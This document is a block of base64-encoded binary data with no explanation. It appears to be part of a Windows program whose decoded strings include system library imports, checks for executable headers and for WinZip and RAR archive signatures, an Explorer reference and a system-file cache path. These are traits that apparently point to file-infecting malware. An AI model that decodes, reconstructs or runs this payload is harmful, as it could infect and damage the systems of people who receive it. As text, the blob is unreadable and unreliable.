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 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAJikAgFgAAIAeKQCAcAAAgC4pAIDYAACAAQAAAAgBAIACAAAA IAEAgAMAAACQAwCADAAAAHAGAIAOAAAAiAYAgBAAAACABwCAAAAAAAAAAAAAAAAAAAABAKAB AACYBwCAAAAAAAAAAAAAAAAAAAALANQAAACwBwCA1QAAAMgHAIDWAAAA4AcAgNcAAAD4BwCA 2AAAABAIAIDaAAAAKAgAgL0CAABACACAvwIAAFgIAIDBAgAAcAgAgMMCAACICACAxQIAAKAI AIAAAAAAAAAAAAAAAAAAAAQAAQAAALgIAIACAAAA0AgAgAMAAADoCACABAAAAAAJAIAAAAAA AAAAAAAAAAAAAAEAAQAAABgJAIAAAAAAAAAAAAAAAAABAEsACCkAgDAJAIAOAQAASAkAgA8B AABgCQCAEQEAAHgJAIASAQAAkAkAgBMBAACoCQCAFAEAAMAJAIAVAQAA2AkAgBYBAADwCQCA kQEAAAgKAICSAQAAIAoAgJQBAAA4CgCAlgEAAFAKAICXAQAAaAoAgJgBAACACgCAmQEAAJgK AICaAQAAsAoAgJsBAADICgCApwEAAOAKAICqAQAA+AoAgPUBAAAQCwCA9gEAACgLAID3AQAA QAsAgPgBAABYCwCA+QEAAHALAID6AQAAiAsAgPsBAACgCwCA/AEAALgLAID9AQAA0AsAgP4B AADoCwCA/wEAAAAMAIAAAgAAGAwAgAECAAAwDACAAgIAAEgMAIADAgAAYAwAgAQCAAB4DACA BQIAAJAMAIAGAgAAqAwAgAcCAADADACACAIAANgMAIAJAgAA8AwAgAoCAAAIDQCACwIAACAN AIAMAgAAOA0AgA0CAABQDQCADgIAAGgNAIAPAgAAgA0AgBACAACYDQCAEQIAALANAIASAgAA yA0AgBMCAADgDQCAFAIAAPgNAIAVAgAAEA4AgBYCAAAoDgCAFwIAAEAOAIAYAgAAWA4AgBkC AABwDgCAGgIAAIgOAIAbAgAAoA4AgBwCAAC4DgCAHQIAANAOAIAeAgAA6A4AgB8CAAAADwCA IAIAABgPAIAhAgAAMA8AgCICAABIDwCAIwIAAGAPAIAkAgAAeA8AgCUCAACQDwCAXwIAAKgP AIBgAgAAwA8AgGECAADYDwCAYgIAAPAPAIC8AgAACBAAgMcCAAAgEACAyAIAADgQAIAAAAAA AAAAAAAAAAAAAFoAAgAAAFAQAIADAAAAaBAAgAQAAACAEACABQAAAJgQAIAGAAAAsBAAgAcA AADIEACACAAAAOAQAIAJAAAA+BAAgAoAAAAQEQCACwAAACgRAIAMAAAAQBEAgA0AAABYEQCA DgAAAHARAIAPAAAAiBEAgBAAAACgEQCAEQAAALgRAIASAAAA0BEAgBMAAADoEQCAFAAAAAAS AIAVAAAAGBIAgBYAAAAwEgCAFwAAAEgSAIAYAAAAYBIAgBkAAAB4EgCAGgAAAJASAIAbAAAA 